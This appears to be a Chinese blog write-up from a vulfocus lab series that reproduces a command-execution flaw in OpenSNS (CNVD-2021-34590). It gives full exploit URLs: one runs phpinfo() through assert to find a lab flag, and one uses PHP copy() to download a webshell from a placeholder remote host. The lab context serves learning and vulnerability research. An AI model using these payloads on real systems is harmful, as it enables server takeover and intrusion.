vulfocus——opensns命令执行(CNVD-2021-34590）

最新推荐文章于 2024-01-22 12:01:33 发布

原创最新推荐文章于 2024-01-22 12:01:33 发布 · 1.1k 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#servlet #jar #java

vulfocus复现专栏收录该内容

20 篇文章

订阅专栏

本文详细介绍了OpenSNS系统中存在的命令执行漏洞，攻击者可通过发送特定请求执行任意命令，从而获取服务器控制权限。复现过程包括：1. 打开靶场；2. 发送请求包；3. 查找phpinfo中的flag；4. 使用copy函数下载webshell。此漏洞利用了系统函数的弱点，实现了远程代码执行。

描述

OpenSNS存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权限。

复现

1.打开靶场

2.发送特定请求包可以执行任意命令

/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=phpinfo()

3.在phpinfo找到flag

4.也可以通过下载webshell，用工具连接

此处的cmd= 只能传参1个，在使用'system'函数空格会导致执行失败，故而使用php中的copy函数直接下载webshell实现RCE。

/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=copy(%27http://xxx/a.txt%27,%27a.php%27)

copy(远程文件下载地址,需要下载到的地方)